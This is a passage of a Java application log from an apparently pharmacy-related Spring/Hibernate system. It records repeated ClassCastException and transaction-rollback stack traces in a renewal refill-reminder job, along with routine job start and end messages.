org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 06:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 06:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 06:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 06:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 06:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 06:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 06:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 06:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 06:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 06:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 06:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 06:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 06:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 06:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 06:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 06:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 06:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 06:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 06:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 06:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 06:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 06:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 06:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 06:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 06:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 06:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 06:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 06:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 06:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 06:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 06:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at 